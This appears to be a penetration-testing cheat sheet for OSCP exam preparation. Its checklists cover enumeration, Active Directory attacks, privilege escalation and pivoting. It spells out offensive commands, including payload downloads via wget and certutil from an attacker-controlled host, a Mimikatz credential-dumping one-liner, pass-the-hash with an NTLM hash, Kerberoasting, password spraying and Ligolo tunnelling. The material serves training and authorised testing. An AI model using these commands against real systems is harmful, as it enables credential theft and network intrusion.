Penetration Testing Checklists and Cheatsheets

This repository contains various checklists and cheatsheets to aid in penetration testing and preparing for the Offensive Security PEN-200 OSCP+ exam.

Further Sources: HACKTRICKS | THE HACKER RECIPES

Commands Cheat Sheet
General Checklists
- General Checklist Before Starting
- General Checklist for Web Applications
Detailed Checklists

Commands Cheat Sheet

Full TTY (BETTER USE PENELOPE)

python3 -c 'import pty; pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
alias ls='ls -arlht --color=auto'
stty columns 200 rows 200

Windows PowerShell Commands

EXECUTION POLICY

Set-ExecutionPolicy Unrestricted -Scope CurrentUser
powershell -ExecutionPolicy Bypass -File .\PowerView.ps1

Show file like with Tree

Get-ChildItem -Path "./*" -Include "*" -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path "C:\Users\*" -Include "flag.txt", "local.txt", "user.txt", "password.txt", "proof.txt", "credentials.txt" -Recurse -ErrorAction SilentlyContinue

Download

wget http://192.168.123.100:8000/rev4445.exe -OutFile rev4445.exe

certutil -split -urlcache -f http://192.168.123.100:8000/agent.exe agent.exe

Mimikatz Oneliner

.\mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "vault::cred" "exit"

General Checklists

General Checklist Before Starting

Authenticate with credentials to BloodHound.
Perform quick enumeration in BloodHound.
Ensure you claim all flags and collect sufficient screenshots.
Check anonymous or guest access to SMB shares on all IPs as a good starting point.
Step back and attack the Domain Controller as if you do not have credentials.
Also try default credentials like offsec:lab.
Enumerate MS01 until the end, even if you have local admin—use WinPEAS as well.
If other credentials are found, repeat the enumeration phase.
Try using the username as the password (both domain and local).
Use nxc smb 192.168.123.100 -u adcreds.txt -p adcreds.txt --no-bruteforce.
Use nxc smb 192.168.123.100-160 --local-auth -u adcreds.txt -p adcreds.txt --no-bruteforce.
Check all shares with the current user, guest, and anonymous access.
Use rpcdump and enum4linux with credentials.

Enumerate users with Kerbrute:

/Tools/kerbrute_linux_amd64 userenum -d domain.com --dc 192.168.123.100 $SECLIST/Usernames/Names/names.txt

Continue using Kerbrute until you have the naming schema, lots of users, and service accounts. Refer to service-accounts.txt.

Request AS_REP messages:

impacket-GetNPUsers domain.com/ -usersfile adcreds.txt -dc-ip 192.168.123.100 -request -outputfile hash.hash

ASREPRoast HackTricks Guide

Perform a UDP scan.

nmap -sUV -vv --reason  --version-intensity 0 --min-rate 1300 --max-retries 1 -top-ports 1000 192.168.236.161-163  -Pn

Repeat your steps—Enumeration is key; try harder.
Run WinPEAS with user or local admin privileges again.

Connect to SMB with:

impacket-smbclient domain.com/guest@192.168.123.100

Step back and review your enumeration to ensure nothing was missed.

General Checklist for Web Applications

Disable any ad-blockers, cookie-plugins or useragent-switcher.

Find web servers in scope:

nmap -vv -sV -p 80,443,8080,8443,8000,8888,8800,8088,8880,10443,9443 --script http-title --open --min-rate 3000 -T4 192.168.123.100

Identify the tech stack using whatweb, wappalyzer, or httpx.
Check the website using web-check.as93.net.

Use feroxbuster for directory enumeration:

feroxbuster -u http://domain.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

Search for PDFs:

feroxbuster -u http://192.168.123.100/ -w $SECLIST/Discovery/Web-Content/raft-large-words.txt -x pdf -q | grep '\.pdf$'

Scan with Nessus, Nuclei, Nikto, or Sn1per.
Check network interactions via browser DevTools.
Perform a Burp Suite Pro scan.

Enumerate subdomains:

echo domain.com | subfinder -silent | httpx -silent -sc -title -td -ip -cname -cl -lc -server -efqdn -fr

Create a list of directories using Burp Suite and input them to feroxbuster to get a comprehensive sitemap.
Find exploits using Sploitus, SearchSploit, and CVEMap.
Check for LFI/RFI vulnerabilities.
Proceed to the Web Application Login Checklist.
Attempt to brute-force the login page.
Try different usernames.
Check if there is a Git repository.
Revert the machine if necessary.
Remember, Enumeration is key; step back and try harder.
Verify all findings and ensure no steps were missed.

Detailed Checklists

Web Application Pre-Authentication Checklist

Disable ad-blockers.

Identify the web server in scope:

nmap -vv -sV -p 80,443 --script http-title --open --min-rate 3000 -T4 192.168.123.100

Use whatweb to identify the tech stack:
```
whatweb http://192.168.123.100:9000/
```
Check the website using web-check.as93.net.

Use httpx for detailed information:

httpx -u http://192.168.123.100:9000/ -td -sc -cl -ct -location -rt -lc -wc -title -server -method -websocket -ip -cname -asn -cdn -probe

Use browser extensions like Wappalyzer and Katana.
Google the exact website title for additional information.

Run a small feroxbuster scan:

feroxbuster -u http://domain.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

Search for PDFs:

feroxbuster -u http://192.168.123.100/ -w $SECLIST/Discovery/Web-Content/raft-large-words.txt -x pdf -q | grep '\.pdf$'

Scan with tools like Nessus, Nuclei, Nikto, and Sn1per.
Check network interactions via browser DevTools.
Perform a Burp Suite Pro scan.

Enumerate subdomains:

echo domain.com | subfinder -silent | httpx -silent -sc -title -td -ip -cname -cl -lc -server -fr

Create a list of directories using Burp Suite and input them to feroxbuster:

cat rest.txt | feroxbuster --stdin -w $SECLIST/Discovery/Web-Content/raft-large-words.txt -E -x txt,php,html,js,json,xml,yaml,tf,sh,bash,py,tmp,lua,pem,pkk -d 2 -m POST,GET

Find exploits using Sploitus, SearchSploit, and CVEMap.
Check for LFI/RFI vulnerabilities.
Proceed to the Web Application Login Checklist.
Attempt to brute-force the login page.
Try different usernames.
Check if there is a Git repository.
Revert the machine if necessary.
Remember, Enumeration is key; step back and try harder.
Verify all findings and ensure no steps were missed.

Web Application Directory Enumeration Checklist

Check robots.txt.
Check sitemap.xml.
Run feroxbuster:
```
feroxbuster -u https://192.168.123.100
```

Use feroxbuster with specific wordlists and file extensions:

feroxbuster -u http://192.168.123.100 -w $SECLIST/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,bash,sh,txt,bak,backup,sql

Perform deeper enumeration:

feroxbuster -u http://192.168.123.100/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 80 --filter-status 404,500 --depth 2

Use Katana for URL discovery:
```
katana -u http://192.168.123.100/
```
Collect base URLs in Burp Suite and export them to rest.txt.

Input rest.txt to feroxbuster for further enumeration:

cat rest.txt | feroxbuster --stdin -w $SECLIST/Discovery/Web-Content/raft-large-words.txt -E -x txt,php,html,js,json,xml,yaml,tf,sh,bash,py,tmp,lua,pem,pkk -d 2 -m POST,GET

Search for hidden files and directories.
Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Try empty username and password fields.
Use the username as the password.
Search for default credentials.
Bruteforce with small username and password lists.

Fuzz for special characters using:

/usr/share/seclists/Fuzzing/special-chars.txt

Attempt to bypass the login page.
Bruteforce with a userlist and a password list generated from cewl.
Check for account lockout policies.
Analyze error messages for hints.
Step back and review your enumeration—try harder.
Ensure all possible avenues have been explored.

Finding Vulnerabilities and Exploits Checklist

Use searchsploit to find exploits:

searchsploit -u
searchsploit --cve CVE-2019-7214
searchsploit application_name

Use Google to search for known vulnerabilities.

Use CVEMap for detailed searches:

cvemap -p application_name -k
cvemap -q "Vendor" -q "Product"

Search inside Metasploit for available modules.
Use Sploitus and Exploit-DB for additional resources.
Revert the machine if necessary and research in detail.
Double-check all findings to ensure accuracy.
Remember, Enumeration is key; step back and try harder.
Ensure all possible vulnerabilities have been identified.

Network Discovery and Port Scan Checklist

Passive Discovery:

Use netdiscover for ARP scanning:

netdiscover -i eth1 -r 192.168.123.0/24 -p

Listen for inbound traffic:

sudo tcpdump -i eth1 'dst host 192.168.123.100 and (icmp or udp or tcp or arp)'

Run Responder:
```
responder -I eth1 -A
```

Active Discovery:

Use netdiscover:
```
netdiscover -i eth1 -r 192.168.123.0/24
```

Ping sweep with Nmap:

nmap -PE -PM -PP -sn -n --open 192.168.123.0/24

Use fping:
```
fping -asgq 192.168.123.0/24
```

Port Scanning:

Use masscan for a quick scan:

masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 192.168.123.0/24

Perform a detailed Nmap scan:

nmap -p- -v --min-rate 4000 -sV 192.168.123.100
nmap -p open_ports_here -vv --min-rate 1000 -sV -sC 192.168.123.100

Scan UDP ports:

sudo nmap -Pn -n 192.168.123.100 -sU --top-ports=100

UDP Protocol Scanning:

Use Nmap for UDP version scanning:

nmap -sUV --reason -F --version-intensity 0 --min-rate 5000 --max-retries 1 192.168.123.100

Use udp-proto-scanner:

# Refer to the GitHub repository for usage instructions

Revert the machine if necessary.
Repeat scanning steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Active Directory General Checklist

Define the primary target.
Reference the Pentest AD Mindmap.
Use SharpHound and BloodHound for enumeration.
Remember, Enumeration is key; repeat the process for each user owned.
Proceed to the enumeration checklist.
Review Kerberos-related checklists.
Attempt DCSync and DCShadow attacks.
Run Responder.
If a mail server is present, send an email with config.Library-ms.
Use enum4linux for enumeration.
Discover the Sysvol share from the Domain Controller.
After obtaining a shell with psexec, check permissions.
Perform an LDAP dump with ldapdomaindump and check descriptions.
Use jq to parse JSON data for interesting fields.
Reference Active Directory Enumeration - Pentest Everything for additional techniques.
Recollect data with BloodHound if stuck.
Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Active Directory with Credentials Checklist

Define your goal and act accordingly.
Add the Domain Controller's hostname to /etc/hosts.
Check the current user.
Check current user group memberships:
```
whoami /groups /fo list | findstr Name
```
Identify the Domain Controller:
```
Get-NetDomain
```
Identify domain admins:
```
net group "Domain Admins" /domain
```
Check for domain trusts.
Run Responder.
Check for SMB null sessions.
Check users' domain group memberships present on the current host:
```
net user username /domain
```
Identify service accounts and hosts related to them.
Find who is logged on to different hosts.
Check local admin groups and other local groups.
Use Find-LocalAdminAccess.
Find users with reversible encryption.
Check domain admin group and other domain groups.
Check enterprise admin group.

Check Organizational Units (OUs):

Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName

Use impacket-rpcdump for RPC enumeration.
Identify the Primary Domain Controller (PDC).
Check for disabled accounts that may be admin.
Attempt DCSync and use ldapdomaindump.
Check for passwords in comments, descriptions, or other fields.

Parse BloodHound exports for interesting properties using jq:

cat domain_users.json | jq '.[] | select(.attributes.description != null and .attributes.description[0] != null) | {sAMAccountName: .attributes.sAMAccountName[0], description: .attributes.description[0]}'

Enumerate computers in the domain.
Discover the Sysvol share from the Domain Controller.
Find domain admins' sessions on different PCs.
Find old devices.
Mount all accessible shares and inspect them thoroughly.
Check if the current user has local admin permissions on other PCs with Find-LocalAdminAccess.

Check ACLs and ACEs for the current user:

Find-InterestingDomainAcl | select ObjectDN, AceType

Check if the user has ACL permissions on groups.
Check if the user can reset passwords for other users.
Examine the local host thoroughly.
Check local admins with Find-LocalAdminAccess.
Use BloodHound, SharpHound, and RustHound for enumeration.
Check AD object descriptions.

Parse JSON data for descriptions using jq:

cat bloodhound_users.json | jq '.data[] | select(.Properties.description != null) | {samaccountname: .Properties.name, description: .Properties.description}'

Check local admins of Domain Controllers.
In BloodHound, check outbound object control of owned users.
Find ASREPRoastable users.

Request AS_REP messages with impacket-GetNPUsers:

impacket-GetNPUsers domain.com/username:'Password123!' -dc-ip 192.168.123.100 -request -o ./oscp.kerb

Find Kerberoastable users.

Enumerate SPNs with nxc ldap:

nxc ldap 192.168.123.0/24 -u 'username' -p 'password' --kerberoast spns.txt

Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Active Directory without Credentials Checklist

Add the Domain Controller's hostname to /etc/hosts.

Enumerate users with Kerbrute:

/Tools/kerbrute_linux_amd64 userenum -d domain.com --dc 192.168.123.100 $SECLIST/Usernames/Names/names.txt

Use wordlists like statistically-likely-usernames.
Merge wordlists to create a comprehensive names.txt:
```
cat *.txt | sort -u > allnames.txt
```

Request AS_REP messages:

impacket-GetNPUsers domain.com/ -usersfile adcreds.txt -dc-ip 192.168.123.100 -request -outputfile hash.hash

ASREPRoast HackTricks Guide

7.Continue using Kerbrute until you have the naming schema, lots of users, and service accounts. Refer to service-accounts.txt. 8. Try using the username as the password. 9. Identify the Domain Controller. 10. Run Responder. 11. Use rpcclient for RPC enumeration:

rpcclient 192.168.123.100 -U ""
rpcclient 192.168.123.100 -U "domain.com\guest"

Use more rpcclient commands:

rpcclient -U 'domain.com\guest' -c "
    srvinfo;
    enumdomusers;
    queryuserdomainsid;
    enumgroups;
    enumdomgroups;
    enumprinters;
    enumservices;
    getdompwinfo;
    lsaenumsid;
    lsaqueryinfopol;
    querydispinfo;
    enumtrustdom;
    netshareenum;
    samrlookuprids;
" 192.168.123.100

Check all SIDs with:
```
:lookupsids S-1-5-80-...
```
Check for SMB null sessions.
Check for SMB guest sessions.

Use nxc smb to enumerate shares:

nxc smb 192.168.123.100 -u "a" -p "" --shares
nxc smb 192.168.123.100 -u "guest" -p "" --shares

Use enum4linux for additional enumeration:
```
enum4linux -a 192.168.123.100
```
Use impacket-rpcdump for RPC enumeration.
Attempt anonymous LDAP dumps with ldapdomaindump:
```
ldapdomaindump 192.168.123.100
```

Use ldapsearch for LDAP enumeration:

ldapsearch -x -h 192.168.123.100 -b "dc=domain,dc=com"

Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Active Directory Kerberos Checklist

Ensure you use FQDNs, not IP addresses.
Check the [Kerberos Cheat Sheet] for reference.
Enumerate usernames with Kerbrute.
Check current tickets with klist.
List tickets with Rubeus:
```
Rubeus.exe klist
```
Dump tickets and attempt to crack them.
Check for Kerberoastable accounts.
Create Silver Tickets if possible.
Perform ASREPRoasting with a complete user list.
Conduct AS-REQ password spraying with Rubeus.
Investigate unconstrained delegation.
Investigate constrained delegation.
Look for cached credentials.
Attempt to access LSASS memory.
Check for legacy protocols.
Verify if WDigest is enabled.

Enumerate SPNs with nxc ldap:

nxc ldap 192.168.123.0/24 -u 'username' -p 'password' --kerberoast spns.txt

Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Active Directory Lateral and Vertical Movement Checklist

Find who is logged on to different hosts:

.\PsLoggedon.exe -accepteula \\COMPUTERNAME

Move laterally via RCE methods like PowerShell, WMIC, DCOM, or SC.
Move laterally with psexec.
Perform password spraying throughout the environment.
Use Gomapexec to attempt logins with valid credentials to different services.
Run Responder.
Run Snaffler to find sensitive files.

Pass the hash—reuse NTLM hashes:

nxc smb 192.168.123.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'

Perform overpass-the-hash attacks.
Export Kerberos tickets to reuse from other systems (pass-the-ticket).
Attempt RCE over DCOM.
Mount all accessible shares and inspect them thoroughly.
Use Mythicsoft Agent Ransack to search for files.
Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Privilege Escalation Windows Checklist

Run Seatbelt or WinPEAS for initial enumeration.
Use dsregcmd to check domain registration.
Open PowerShell as admin.

Import PowerView:

Set-ExecutionPolicy Bypass -Scope Process
Import-Module C:\Tools\PowerView.ps1
Get-NetDomain

Rerun these steps with different users or attempt RunAs with different users or admin PowerShell.
Run Seatbelt with system checks:
```
Seatbelt.exe -group=system
```
Show hidden files and file extensions.
Gather system information:
```
systeminfo
whoami /groups
whoami /all
```
Check command history.
Examine environment variables:
```
Get-ChildItem Env:
```
Run WinPEAS for privilege escalation paths.
Enumerate existing users and groups.

List group memberships:

net user
quser
net localgroup
net localgroup administrators

Get operating system details:
```
systeminfo
Get-AppLockerPolicy
```
Examine AppLocker policies.
Check antivirus status:
```
Get-MpPreference
Get-MpComputerStatus
```
Inspect the system path:
```
$env:PATH
```
List installed applications.
Check for KeePass installations.
Examine services—start disabled services if possible (e.g., SSH).

List running processes:

Get-Process | Sort-Object CPU -Descending

Check for service binary hijacking.
Inspect scheduled tasks.
Filter non-Microsoft tasks.
Use Invoke-AllChecks from PowerUp.
Check startup directories and autostart entries.
Attempt to RunAs different users.
Inspect the root of C:\ drive.
Check for Windows.old.

Search for sensitive files:

Get-ChildItem -Path C:\Users\ -Include * -File -Recurse -ErrorAction SilentlyContinue

Attempt to dump SAM database information.
Run Live Forensicator scripts.
Search for flags using PowerShell one-liners.
Check C:\Windows\System32\Drivers\etc\hosts.
Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Privilege Escalation Linux Checklist

Run LinPEAS and look for low-hanging fruit.
Check for red text on a yellow background.
List screen sessions:
```
screen -list
```
List tmux panes:
```
tmux list-panes
```
Attempt sudo -i.
Get hostname and OS version.
Check CPU architecture:
```
lscpu
```
Review user activity:
```
w
last
lastlog
```
Inspect autostart entries and scheduled tasks.
Check uptime:
```
uptime -p
```

List cron jobs:

crontab -l
sudo crontab -l
ls -la /etc/cron.daily

Examine shell configurations.
Check environment variables and bash configurations.
Review permissions.
Attempt sudo -i with known passwords.
Check sudo version:
```
sudo -V
```
Inspect /etc/passwd and /etc/shadow.
Find SUID/SGID files:
```
find / -perm /4000 2>/dev/null
```

Find world-writable directories and files:

find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Check sudo privileges:
```
sudo -l
```
Find files with capabilities:
```
getcap -r / 2>/dev/null
```
Check for unmounted drives.
Review command history.
Enumerate users and groups.
Check group memberships:
```
getent groups
```
Inspect important configuration files.
Examine SSH configurations.
Look for password files.
Check temporary directories.
Inspect network configurations.
List open ports:
```
netstat -tuepn
netstat -tulpn
```
Check firewall rules.
Use tcpdump to listen on interfaces.
Look for common CVEs.
List running processes:
```
ps aux
```
Use pspy to monitor processes:
```
timeout 20 ./pspy64
```
Check for Docker configurations.
Find recent files and directories.
Search for Git repositories:
```
find / -type d -name ".git"
```
Run LinPEAS for comprehensive enumeration:
```
timeout 5m ./linpeas.sh
```
Reference HackTricks Linux Privilege Escalation.
Repeat enumeration steps—Enumeration is key; try harder.
Verify all findings and ensure no steps were missed.

Ligolo-ng Checklist

Setup Server Side (Attacker):

Create a TUN interface:

sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up

Run the proxy:
```
./proxy -selfcert
```

Transfer agent.exe to Target.

Run Agent on Target:

.\agent.exe -connect 192.168.123.100:11601 -ignore-cert

Add Target Network as Route:

ip route add 192.168.123.0/24 dev ligolo

In Ligolo:
- Enter session:
```
session (choose the appropriate session)
```
- Start the session:
```
start
```
- Confirm tunnels:
```
tunnel_list
```
Set Up Reverse Shell:
- Create a listener on the agent machine:
```
listener_add --addr 0.0.0.0:1234 --to 0.0.0.0:4444
```
Route Cleanup:
- Remove routes when done.

Remember: Enumeration is the key. If you get stuck, step back, review your steps, and try harder.

Table of Contents​

Commands Cheat Sheet​

Full TTY (BETTER USE PENELOPE)​

Windows PowerShell Commands​

General Checklists​

General Checklist Before Starting​

General Checklist for Web Applications​

Detailed Checklists​

Web Application Pre-Authentication Checklist​

Web Application Directory Enumeration Checklist​

Web Application Login Checklist​

Finding Vulnerabilities and Exploits Checklist​

Network Discovery and Port Scan Checklist​

Active Directory General Checklist​

Active Directory with Credentials Checklist​

Active Directory without Credentials Checklist​

Active Directory Kerberos Checklist​

Active Directory Lateral and Vertical Movement Checklist​

Privilege Escalation Windows Checklist​

Privilege Escalation Linux Checklist​

Ligolo-ng Checklist​

Table of Contents